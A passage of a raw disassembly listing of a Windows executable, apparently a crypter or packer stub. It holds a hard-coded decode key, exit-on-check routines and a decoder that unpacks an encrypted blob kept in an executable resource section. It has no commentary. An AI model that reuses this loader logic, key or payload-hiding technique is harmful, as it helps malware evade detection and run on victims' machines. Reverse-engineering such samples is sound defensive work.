loc_403039: ; CODE XREF: sub_402FBC+75j ; DATA XREF: sub_402FBC+63o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_402FBC endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 0Fh a@errt14@Yht4_3 db '@erRT14@$%yHt41',0 ; DATA XREF: sub_402FBC+29o dd 0FFFFFFFFh, 0Dh dword_403060 dd 3090964h, 128C5871h, 5BEBC9A6h, 0AAh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403070 proc near ; CODE XREF: sub_4031F0+9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi xor eax, eax mov [ebp+var_8], eax xor eax, eax push ebp push offset loc_4030E1 push dword ptr fs:[eax] mov fs:[eax], esp xor ebx, ebx mov eax, 40h call sub_4010D0 mov esi, eax mov [ebp+var_4], 40h lea eax, [ebp+var_4] push eax push esi call ds:dword_4056CC lea ecx, [ebp+var_8] mov edx, offset a@errt14@Yht4_4 ; "@erRT14@$%yHt41" mov eax, offset dword_403110 call sub_401EBC mov eax, [ebp+var_8] call sub_4019A4 cmp esi, eax jnz short loc_4030CB mov bl, 1 loc_4030CB: ; CODE XREF: sub_403070+57j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4030E8 loc_4030D8: ; CODE XREF: sub_403070+76j lea eax, [ebp+var_8] call sub_40174C retn ; --------------------------------------------------------------------------- loc_4030E1: ; DATA XREF: sub_403070+10o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_4030D8 ; --------------------------------------------------------------------------- loc_4030E8: ; CODE XREF: sub_403070+70j ; DATA XREF: sub_403070+63o mov eax, ebx pop esi pop ebx pop ecx pop ecx pop ebp retn sub_403070 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 0Fh a@errt14@Yht4_4 db '@erRT14@$%yHt41',0 ; DATA XREF: sub_403070+3Eo dd 0FFFFFFFFh, 0Bh dword_403110 dd 2274664h, 2B885B75h, 0FC82B0h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40311C proc near ; CODE XREF: CODE:004032D7p ; CODE:0040332Ap ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx mov ebx, eax xor eax, eax push ebp push offset loc_403196 push dword ptr fs:[eax] mov fs:[eax], esp nop lea edx, [ebp+var_10] mov eax, ebx call sub_402D9C mov eax, [ebp+var_10] call sub_402DD4 lea edx, [ebp+var_C] call sub_402D9C mov eax, [ebp+var_C] call sub_402DD4 lea edx, [ebp+var_8] call sub_402D9C mov eax, [ebp+var_8] call sub_402DD4 lea edx, [ebp+var_4] call sub_402D9C mov eax, [ebp+var_4] call sub_402DD4 mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40319D loc_403188: ; CODE XREF: sub_40311C+7Fj lea eax, [ebp+var_10] mov edx, 4 call sub_401770 retn ; --------------------------------------------------------------------------- loc_403196: ; DATA XREF: sub_40311C+Fo jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_403188 ; --------------------------------------------------------------------------- loc_40319D: ; CODE XREF: sub_40311C+79j ; DATA XREF: sub_40311C+67o mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_40311C endp ; =============== S U B R O U T I N E ======================================= sub_4031A4 proc near ; CODE XREF: CODE:004032EDp push ebx push esi mov esi, eax push 0Ah push edx mov eax, ds:dword_40566C push eax call ds:dword_4056D4 mov ebx, eax push ebx mov eax, ds:dword_40566C push eax call ds:dword_4056D8 mov [esi], eax push ebx mov eax, ds:dword_40566C push eax call ds:dword_4056DC mov ebx, eax push ebx call ds:dword_4056E0 mov esi, eax test esi, esi jz short loc_4031EB push ebx call ds:dword_4056E4 loc_4031EB: ; CODE XREF: sub_4031A4+3Ej mov eax, esi pop esi pop ebx retn sub_4031A4 endp ; =============== S U B R O U T I N E ======================================= sub_4031F0 proc near ; CODE XREF: CODE:004032BEp call sub_402EA0 cmp al, 1 jz short loc_403214 call sub_403070 cmp al, 1 jz short loc_403214 call sub_402FBC cmp al, 1 jz short loc_403214 call sub_402F7C cmp al, 2 jnz short locret_40321B loc_403214: ; CODE XREF: sub_4031F0+7j ; sub_4031F0+10j ... xor eax, eax call sub_401734 ; --------------------------------------------------------------------------- locret_40321B: ; CODE XREF: sub_4031F0+22j retn sub_4031F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40321C proc near ; DATA XREF: CODE:00403288o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40323B push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_403242 loc_40323A: ; CODE XREF: sub_40321C+24j retn ; --------------------------------------------------------------------------- loc_40323B: ; DATA XREF: sub_40321C+6o jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_40323A ; --------------------------------------------------------------------------- loc_403242: ; CODE XREF: sub_40321C:loc_40323Aj ; DATA XREF: sub_40321C+19o pop ebp retn sub_40321C endp ; --------------------------------------------------------------------------- dword_403244 dd 8 dd offset off_40324C off_40324C dd offset loc_401CB8 ; DATA XREF: CODE:00403248o dd offset sub_401C7C dd offset sub_401B14 dd offset sub_401AD8 dd offset sub_401CF0 dd offset sub_401CC0 dd offset sub_401D40 dd offset sub_401D10 dd offset sub_401F54 dd offset sub_401F24 dd offset sub_4021E8 dd offset sub_4021B8 dd offset sub_4029EC dd offset sub_4029BC align 8 dd offset sub_40321C ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx xor eax, eax mov [ebp-20h], eax mov [ebp-18h], eax mov [ebp-1Ch], eax mov [ebp-14h], eax mov eax, offset dword_403244 call sub_401C38 xor eax, eax push ebp push offset loc_4033D2 push dword ptr fs:[eax] mov fs:[eax], esp call sub_4029FC call sub_4031F0 mov eax, offset dword_4056F4 mov edx, offset dword_4033E8 call sub_4017A0 mov eax, 91h call sub_40311C mov eax, ds:dword_4056F4 call sub_4019A4 mov edx, eax mov eax, offset dword_4056EC call sub_4031A4 mov ebx, eax test ebx, ebx jz loc_4033A7 mov eax, offset dword_4056F0 mov edx, ds:dword_4056EC call sub_4019F8 mov eax, offset dword_4056F0 call sub_4019F0 mov edx, eax mov eax, ebx mov ecx, ds:dword_4056EC call sub_4011B4 mov eax, 91h call sub_40311C lea ecx, [ebp-14h] mov edx, offset a@errt14@Yht4_5 ; "@erRT14@$%yHt41" mov eax, ds:dword_4056F0 call sub_401EBC mov edx, [ebp-14h] mov eax, offset dword_4056F0 call sub_4017A0 mov eax, ds:dword_4056F0 push eax lea eax, [ebp-1Ch] push eax call sub_401F68 mov eax, [ebp-1Ch] push eax lea eax, [ebp-18h] push eax call sub_4020E4 mov edx, [ebp-18h] mov eax, offset dword_4056F0 call sub_4017A0 mov eax, 91h call sub_40311C push 0 lea edx, [ebp-20h] xor eax, eax call sub_401300 mov eax, [ebp-20h] push eax mov eax, offset dword_4056F0 call sub_4019F0 xor ecx, ecx pop edx call sub_4026DC test al, al jmp short loc_4033AF ; --------------------------------------------------------------------------- loc_4033A7: ; CODE XREF: CODE:004032F6j push 0 call ds:dword_4056E8 loc_4033AF: ; CODE XREF: CODE:004033A5j push 0 call ds:dword_4056E8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4033D9 loc_4033C4: ; CODE XREF: CODE:004033D7j lea eax, [ebp-20h] mov edx, 4 call sub_401770 retn ; --------------------------------------------------------------------------- loc_4033D2: ; DATA XREF: CODE:004032AEo jmp loc_40151C ; --------------------------------------------------------------------------- jmp short loc_4033C4 ; --------------------------------------------------------------------------- loc_4033D9: ; CODE XREF: CODE:004033D1j ; DATA XREF: CODE:004033BFo pop ebx call sub_401664 ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 2 dword_4033E8 dd 5753h, 0FFFFFFFFh, 0Fha@errt14@Yht4_5 db '@erRT14@$%yHt41',0 ; DATA XREF: CODE:00403332o align 200h CODE ends ; Section 2. (virtual address 00004000) ; Virtual size : 000000A0 ( 160.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00002A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 404000h dword_404000 dd 0 ; sub_401664+9o ... dword_404004 dd 0 ; sub_401664:loc_401693r ... byte_404008 db 0 ; DATA XREF: sub_4014F4r db 8Dh, 40h, 0 dword_40400C dd 0 dword_404010 dd 0 off_404014 dd offset sub_401AB8 ; DATA XREF: sub_401664+66r off_404018 dd offset sub_401588 ; DATA XREF: sub_401588+Fr ; sub_401588+35r ... off_40401C dd offset sub_401554 ; DATA XREF: sub_401664:loc_4016B2r off_404020 dd offset nullsub_1 ; DATA XREF: sub_401664:loc_4016E5r off_404024 dd offset nullsub_1 ; DATA XREF: sub_401AD8+1Fr ; DWORD dwFlags dwFlags dd 0 ; DATA XREF: sub_401080+1r ; sub_401094+4r ... off_40402C dd offset sub_401080 ; DATA XREF: sub_4010D0+4r ; sub_401100+3Fr off_404030 dd offset sub_401094 ; DATA XREF: sub_4010E8+4r ; sub_401100+26r off_404034 dd offset sub_4010B8 ; DATA XREF: sub_401100+Dr byte_404038 db 0 ; DATA XREF: sub_40115C+36r aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã',0 aFxn@ db 'äå@',0 off_404054 dd offset nullsub_1 ; DATA XREF: sub_401664+38r off_404058 dd offset nullsub_1 ; DATA XREF: sub_401AD8+19r off_40405C dd offset aPortionsCopyri ; DATA XREF: sub_401C7C+19o ; "Portions Copyright (c) 1999,2003 Avenge"... ; DWORD TlsIndex TlsIndex dd 0FFFFFFFFh ; DATA XREF: sub_401BA8+Cr ; sub_401BA8+37r ... dword_404064 dd 0 ; sub_401C38+33o dword_404068 dd 0 dword_40406C dd 0 dword_404070 dd 0 dd 2 dup(0) dword_40407C dd 1 dd 10h, 2, 20h, 4, 40h, 4, 40h off_40409C dd offset dword_4056B8 ; DATA XREF: sub_4029FC+20Br ; sub_4029FC+214r ... align 200h DATA ends ; Section 3. (virtual address 00005000) ; Virtual size : 000006F9 ( 1785.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00002C00 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 405000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing dword_405000 dd ? dword_405004 dd ? ; sub_40115C+16r dword_405008 dd ? ; sub_4015F8w dword_40500C dd ? dword_405010 dd ? ; sub_401664+A9r dword_405014 dd ? dword_405018 dd ? byte_40501C db ? ; DATA XREF: sub_4015F8+2Ew align 10h dword_405020 dd 2 dup(?) word_405028 dw ? ; DATA XREF: sub_401B14+1Dw align 4 dd 72h dup(?) word_4051F4 dw ? ; DATA XREF: sub_401B14+26w align 4 dd 72h dup(?) word_4053C0 dw ? ; DATA XREF: sub_401B14+2Fw align 4 dd 71h dup(?) dword_405588 dd ? ; sub_401B14w ; HANDLE hHeap hHeap dd ? ; DATA XREF: sub_401080+7r ; sub_401094+Dr ... dword_405590 dd 2 dup(?) ; sub_401634+Do ... dword_405598 dd ? ; sub_4015F8+14w dword_40559C dd ? ; sub_4015F8+1Bw dword_4055A0 dd ? dd 6 dup(?) dword_4055BC dd ? ; sub_401A80+19w dd 2Ah dup(?) byte_405668 db ? ; DATA XREF: sub_401BECr align 4 dword_40566C dd ? ; sub_401C38+16r ... dword_405670 dd ? ; CODE:loc_401CB8w dword_405674 dd ? dword_405678 dd ? ; sub_401CF0w dword_40567C dd ? ; sub_401D40w dword_405680 dd ? ; sub_401F54w dword_405684 dd ? ; sub_4021E8w dword_405688 dd ? ; sub_401F68+DBr ; HMODULE hModule hModule dd ? ; DATA XREF: sub_401F68+88w ; sub_401F68+A8r ... dword_405690 dd ? ; sub_4026DC+296r dword_405694 dd ? ; sub_4021F0+22Ew ... dword_405698 dd ? ; sub_4026DC+15Fr dword_40569C dd ? ; sub_4026DC+102r dword_4056A0 dd ? ; sub_4026DC+DCr dword_4056A4 dd ? ; sub_4026DC+98r dword_4056A8 dd ? ; sub_4026DC+189r ... dword_4056AC dd ? dword_4056B0 dd ? ; sub_4026DC+206r dword_4056B4 dd ? ; sub_4026DC+118r dword_4056B8 dd ? ; sub_4021F0+234r ... dword_4056BC dd ? ; sub_4026DC+28Ar dword_4056C0 dd ? ; sub_4029ECw dword_4056C4 dd ? ; sub_4029FC+A6r ... dword_4056C8 dd ? dword_4056CC dd ? ; sub_402DE0+3Dr ... dword_4056D0 dd ? ; sub_402E5C+16r dword_4056D4 dd ? ; sub_4031A4+Dr dword_4056D8 dd ? ; sub_4031A4+1Cr dword_4056DC dd ? ; sub_4031A4+2Br dword_4056E0 dd ? ; sub_4031A4+34r dword_4056E4 dd ? ; sub_4031A4+41r dword_4056E8 dd ? ; CODE:004033A9r ... dword_4056EC dd ? ; CODE:00403301r ... dword_4056F0 dd ? ; CODE:0040330Co ... dword_4056F4 dd ? ; CODE:004032DCr db ? BSS ends ; ; Imports from kernel32.dll ; ; Section 4. (virtual address 00006000) ; Virtual size : 00000236 ( 566.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00002C00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Externs ; _idata ; DWORD __stdcall GetCurrentThreadId() extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr ; void __stdcall ExitProcess(UINT uExitCode) extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr extrn RtlUnwind:dword ; DATA XREF: CODE:loc_401060r ; void __stdcall RaiseException(DWORD dwExceptionCode,DWORD dwExceptionFlags,DWORD nNumberOfArguments,const ULONG_PTR *lpArguments) extrn RaiseException:dword ; DATA XREF: CODE:loc_401058r ; LPSTR __stdcall GetCommandLineA() extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr ; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex,LPVOID lpTlsValue) extrn __imp_TlsSetValue:dword ; DATA XREF: TlsSetValuer ; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex) extrn __imp_TlsGetValue:dword ; DATA XREF: TlsGetValuer ; HLOCAL __stdcall LocalAlloc(UINT uFlags,SIZE_T uBytes) extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize) extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn __imp_FreeLibrary:dword ; DATA XREF: FreeLibraryr ; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem) extrn __imp_HeapFree:dword ; DATA XREF: HeapFreer ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,SIZE_T dwBytes) extrn __imp_HeapReAlloc:dword ; DATA XREF: HeapReAllocr ; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes) extrn __imp_HeapAlloc:dword ; DATA XREF: HeapAllocr ; HANDLE __stdcall GetProcessHeap() extrn __imp_GetProcessHeap:dword ; DATA XREF: GetProcessHeapr ; ; Imports from user32.dll ; ; LPSTR __stdcall CharNextA(LPCSTR lpsz) extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr ; ; Imports from kernel32.dll ; ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) extrn __imp_GetProcAddress:dword ; DATA XREF: GetProcAddressr ; BOOL __stdcall FreeLibrary_0(HMODULE hLibModule) extrn __imp_FreeLibrary_0:dword ; DATA XREF: FreeLibrary_0r ; ; Imports from kernel32.dll ; ; FARPROC __stdcall GetProcAddress_0(HMODULE hModule,LPCSTR lpProcName) extrn __imp_GetProcAddress_0:dword ; DATA XREF: GetProcAddress_0r ; Section 5. (virtual address 00007000) ; Virtual size : 00000004 ( 4.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00003000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 407000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd ? ; DATA XREF: .rdata:TlsDirectoryo _tls ends ; Section 6. (virtual address 00008000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00003000 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 408000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd 407004h TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 align 200h _rdata ends ; Section 7. (virtual address 00009000) ; Virtual size : 000002E0 ( 736.) ; Section size in file : 00000400 ( 1024.) ; Offset to raw data for section: 00003200 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _reloc segment para public 'DATA' use32 assume cs:_reloc ;org 409000h dd 1000h, 10Ch, 300A3002h, 301A3012h, 302A3022h, 303A3032h dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 30883082h dd 30A23099h, 30C430BBh, 30EE30D6h, 3128310Fh, 31523141h dd 31743167h, 34F63194h, 35333512h, 35933559h, 35AA3599h dd 35BF35B9h, 35DD35CDh, 35FA35F0h, 360435FEh, 360D3608h dd 361A3614h, 36283622h, 36423638h, 366E3669h, 36953673h dd 36B4369Eh, 36E736CCh, 370F3706h, 37423735h, 3A8139ABh dd 3A953A8Ah, 3AAA3A9Ah, 3ABE3AB1h, 3AEB3ADFh, 3AF93AF3h dd 3B163B06h, 3B293B23h, 3B343B2Dh, 3B463B3Dh, 3BB63B57h dd 3BEE3BE0h, 3C0C3BF3h, 3C2D3C1Ch, 3C4A3C3Eh, 3C543C4Fh dd 3C623C5Bh, 3C833C6Ch, 3C963C8Fh, 3CBA3CA8h, 3CD33CC7h dd 3CF23CE0h, 3D023CFAh, 3D173D0Ah, 3D303D23h, 3EDF3D42h dd 3F2B3F01h, 3F443F37h, 3F883F56h, 3FD93FD4h, 3FF93FF1h dd 3FFEh, 2000h, 12Ch, 301C3011h, 304A3045h, 31013070h dd 31BF3192h, 31D831CBh, 320231EAh, 3218320Ah, 323A321Dh dd 325D323Fh, 32803262h, 329B3285h, 32A832A3h, 32C632BEh dd 32E132CBh, 32EE32E9h, 330C3304h, 33273311h, 3334332Fh dd 3352334Ah, 336D3357h, 337A3375h, 33983390h, 33B3339Dh dd 33C033BBh, 33E133D9h, 33FC33E6h, 34093401h, 3426341Fh dd 343D3430h, 36883630h, 370536D3h, 37993776h, 37E037BAh dd 383D37F6h, 38BB3867h, 391238E4h, 39563940h, 39743968h dd 39C33996h, 39DC39CFh, 39F639EEh, 3A203A12h, 3A423A25h dd 3A643A47h, 3A823A69h, 3A8F3A8Ah, 3AA93AA4h, 3AB63AB1h dd 3AD03ACBh, 3ADD3AD8h, 3AF73AF2h, 3B043AFFh, 3B1E3B19h dd 3B2B3B26h, 3B453B40h, 3B523B4Dh, 3B6C3B67h, 3B793B74h dd 3B933B8Eh, 3BA03B9Bh, 3BBA3BB5h, 3BC73BC2h, 3BE13BDCh dd 3BEE3BE9h, 3C093C03h, 3C1B3C11h, 3DF23C2Ch, 3E413E1Fh dd 3EAE3E74h, 3ECF3ECAh, 3EF83EF3h, 3FCA3F17h, 3FEB3FE6h dd 3000h, 74h, 30813020h, 30AF30A7h, 30D430B4h, 3184312Ch dd 31B331ACh, 31C231BBh, 31D131CAh, 31E731DAh, 32363223h dd 324C3248h, 32543250h, 325C3258h, 32643260h, 326C3268h dd 32743270h, 327C3278h, 32883280h, 32AF32A2h, 32C932C4h dd 32E932DDh, 330332FDh, 331C330Dh, 33383333h, 334F3345h dd 3392336Eh, 33B333ABh, 33C0h, 4000h, 20h, 30183014h dd 3020301Ch, 302C3024h, 30343030h, 30583054h, 309C305Ch dd 8000h, 14h, 30043000h, 300C3008h, 49h dup(0) _reloc ends ; Section 8. (virtual address 0000A000) ; Virtual size : 0000D400 ( 54272.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00003600 ; Flags F0000060: Text Data Shareable Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 40A000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 2 dup(0) dd 4, 10000h, 0Ah, 80000018h, 2 dup(0) dd 4, 1, 80000058h, 80000030h, 2 dup(0) dd 4, 10000h, 0 dd 48h, 0A060h, 639Eh, 4E4h, 0 dd 530002h, 57h, 7055BD2Ch, 33FC8E27h, 228E7799h, 0B4CE32CCh dd 461EBC1Ah, 8DCDAD7Dh, 0DEC8A94Bh, 0CF3BB7ECh, 440933C3h dd 0A175544Bh, 0B0147A84h, 8DBCE16Eh, 0F5AC21F6h, 86032BB5h dd 0AE69F418h, 0D45086D9h, 58EE44CEh, 0E17646Bh, 294CE651h dd 2F50E3D3h, 0CF0329D7h, 0FD7B5466h, 0AE0E00F6h, 9603F7B4h dd 2A6B06B5h, 687C4160h, 0CC341299h, 0DB19CCEEh, 547D2699h dd 8F46916Ch, 9A861CA9h, 708472B4h, 1F377AE1h, 3BB370F5h dd 0C55FC22Ah, 0E8F18C92h, 0DEE6B46Bh, 0E1D860F7h, 0EDBF049h dd 0B868C680h, 0DC9E2CF2h, 0FCA58AA0h, 330F840Ah, 7DB0D489h dd 0DCA7F2F0h, 3072D7C9h, 0CE2B4A58h, 453FFB6Eh, 0BA28B722h dd 918868B1h, 0BAD43C20h, 8507EC07h, 4F7E9144h, 1C5295B3h dd 8CA2C6E7h, 0C2E7727h, 69868C6h, 2841EEC4h, 40953E08h dd 4B8CBDBEh, 539FA022h, 184EA711h, 0A1695A9Bh, 0AD58EAF7h dd 376EDDEh, 4282BE7Ch, 4014AD48h, 1488AFDEh, 300F6A3h dd 0C7A57087h, 4E26806Bh, 0B147B9E3h, 31E2EE9Dh, 902BB379h dd 1B3F112Eh, 0F9724044h, 0F5909F75h, 3E07558Ah, 85A70064h dd 699A85E1h, 0D87F7CE2h, 8B47A576h, 781F255Bh, 549918AFh dd 2429B576h, 6033B996h, 0BBF5A32Ch, 0D3093496h, 0DBF788D8h dd 3DD1403Bh, 0B1239D0Dh, 28F92742h, 0DBC44D7Ah, 788F4351h dd 7B966C2Eh, 0BB27356Ah, 4937C0F9h, 511D994Bh, 8B289007h dd 0F931AABFh, 0BF9D6AF5h, 377B9866h, 0E3FA4AE8h, 0C45C5261h dd 50230AFCh, 8FDB10ECh, 0FA46AF3Bh, 8D7EEDC6h, 635BAB76h dd 0CD41E65Fh, 42611F4h, 0AC776A9Fh, 6958D60Ch, 0C6D4BEE3h dd 9DFAF3E2h, 553EBE12h, 1081CAF8h, 0BF414249h, 0A1D47EFBh dd 92667698h, 2D5797B1h, 0B83E1BA0h, 2328A4FCh, 523E99Fh dd 63654095h, 3FA72875h, 10A28CACh, 17BCD8C7h, 19D97EC2h dd 8C5BBB89h, 0C5AB76A1h, 9A01A05Ch, 18057947h, 97F2588Dh dd 5E24AF4Ah, 6F7806ECh, 3280C99Eh, 5E1E4EC9h, 27341E85h dd 0CEA8F010h, 2F8B2F17h, 55FCE5FEh, 32980333h, 3E2A8DAAh dd 4CF20092h, 66F6890Dh, 0D2D97CB8h, 44110A25h, 0CE68BB28h dd 0BAEC11EBh, 1A777613h, 5196A7D3h, 5744212Eh, 0AC415D88h dd 88C55C6Bh, 0F7D779ABh, 0DF6D51B6h, 0E5D5121Fh, 0E7368BCFh dd 0F41A80B5h, 0DE84E750h, 32FCC0Ch, 0CEF70B3Dh, 2D3CA768h dd 6C78EBC3h, 0D949CC45h, 34A23979h, 0DC26FC04h, 0E6908ED4h dd 7FAC0C4Fh, 0DDE3C4A0h, 3285A80h, 82E0A876h, 3F48D968h dd 3BD417C5h, 0FAD8D198h, 87845F8Dh, 0EC83FBB9h, 92F81836h dd 3FA567C9h, 6E71743Fh, 0EF5DD39Dh, 6F62493Ah, 24B0DB1Fh dd 59EFD115h, 88E48B0Ch, 400ED7D2h, 0D634E96Ah, 0D3D1859Dh dd 0C3FCBF96h, 0E155B663h, 4B73BD55h, 6DF41391h, 0AED81BFFh dd 85AD4384h, 21D43226h, 0B80935DBh, 0EFDE7502h, 0B9FEA8D3h dd 6D4C24EBh, 0F517AC64h, 655AA500h, 0AD8D0C69h, 8A61A3D4h dd 6E30763Eh, 0D796081Ah, 0ABE3072Dh, 6EB48BD8h, 0F081F076h dd 2B537E05h, 834CD339h, 3D3264C4h, 847CF02Eh, 12EE2524h dd 98A59CE5h, 94B6162Eh, 2FCC080Ch, 31CE90ECh, 0E861412Ch dd 0ACB0DB52h, 0B2A002CEh, 982F1876h, 9B90CE7Bh, 0E03324F7h dd 4FF45B9Ah, 30177A62h, 4CED7F88h, 734D6204h, 0A2951E52h dd 1A37BBDh, 741768E3h, 2365FAA5h, 0ADBADFF0h, 0C2C501C1h dd 49590603h, 7CAB4BB0h, 6D83F849h, 0CF2FBD43h, 0A78E6394h dd 4B15CE1Ah, 180BD20Dh, 0BD959238h, 3573F9D4h, 7463718Fh dd 9CDDF47Eh, 0D803844h, 0AACED729h, 816C419Ah, 0CB149CBCh dd 4630CAD4h, 0A74C04A5h, 0A90B9DCCh, 80CA7C14h, 0BFA4F230h dd 4D15AD58h, 0AEF1DA77h, 0FC09EF38h, 4108F992h, 68B8AE13h dd 8A5A5FBFh, 1D6B1698h, 0EC00F9FDh, 29A0D744h, 0B1C8FFDDh dd 6D9FDC08h, 0B666AD61h, 0DC7F4D2Dh, 8589CCFCh, 0ACC006F2h dd 91896418h, 0A60A4488h, 2A8A196Ch, 6143B71Dh, 80A583BBh dd 0D91F1B09h, 770B7143h, 278FDFD5h, 56EC8D16h, 6596AF6h dd 5FE8E317h, 639DE62h, 0B8088714h, 4760C370h, 0EDE5EF4Eh dd 0DDF32C7Eh, 4D940D62h, 73FA2AA6h, 0AD33B164h, 0C37705CCh dd 0BB9C6607h, 67E21682h, 0EF75B213h, 0A25C70FDh, 0AC4BBD6Ch dd 2800D003h, 7AC6E9E6h, 2C84E6ABh, 0E3100255h, 7020523Bh dd 867A182Fh, 5CFB376Bh, 0EF453F6Fh, 0FCE1C733h, 41221ED0h dd 9B7E8995h, 879D928Fh, 42847D90h, 3C316BB9h, 55C5D812h dd 0AA6AD36Ah, 0D4DBD11Ah, 0FF653923h, 0D09C6794h, 49FA0ECAh dd 0C2257AD6h, 4D3F1EF4h, 0AEDBA75Dh, 0BFA3772Ch, 0CCBE0F3Dh dd 93D007DCh, 5BBDD7B2h, 0AA4AD911h, 91129A28h, 0FD26FACBh dd 46C6AABBh, 0A8027E1Dh, 0D02BE5ECh, 0E79AC988h, 0E79CD6FBh dd 15C24E75h, 955E7B12h, 1E8A660Dh, 8D1185F2h, 0B910A16Fh dd 34597D80h, 0AA634D1Bh, 202DEA5Dh, 0C7EB1C1Bh, 65931A9Bh dd 44E0CB0h, 0BF299596h, 71776CBCh, 9AFAD269h, 31EA5190h dd 8FDFEBEAh, 0FB2A781Dh, 49619328h, 5279668Fh, 59C0D8B1h dd 5C698E0Ch, 8B80F325h, 0BEA79360h, 1554FFBBh, 3FC0D574h dd 82411EEDh, 6FAB50DEh, 97A1D9E4h, 9A0BFF2Bh, 1AF2DC9Dh dd 8BFE308Eh, 0BF1E734Ch, 0A2BD4C7Bh, 0B5A40003h, 1BBE891Ah dd 261BE431h, 2A23F3C4h, 5D9D40B7h, 0EBE4CB70h, 73AAE15Eh dd 4CCD736Eh, 0A2B71877h, 86F3A4BCh, 0C906A25Dh, 59F79072h dd 46FE0FDh, 4F1E0385h, 0E13014D6h, 0B5BBD299h, 0D8E1EF88h dd 0E0850DD7h, 274635F8h, 50E4E87Bh, 6F00C2E3h, 1A750AABh dd 0B8BF5415h, 0D823CAACh, 0E61BB0E8h, 4695E44h, 0A27B556Eh dd 99422328h, 59A8167Ah, 858863A0h, 2D36443Ch, 82C66F57h dd 0A547B891h, 7DA6261h, 92B63C34h, 0ABA0261Ch, 7167F92Fh dd 364B73DDh, 20CF5311h, 7359304Ah, 0E05573D6h, 3F5F8A18h dd 56E190C2h, 667FA4A5h, 0F1DEDD1Ah, 1952CA44h, 274825CEh dd 0DC023B63h, 18D0D689h, 0A434E3D2h, 0BC761794h, 6482D2Ah dd 961203CBh, 756F9468h, 0BAE78DDAh, 0E3A962Eh, 6FC07E91h dd 0C53DFDB1h, 0A9B89D50h, 13D1AA20h, 0BC34B15Ch, 79610ACBh dd 0D933217Eh, 1575576Dh, 0A0034B04h, 5879CA68h, 0A8F8E50Eh dd 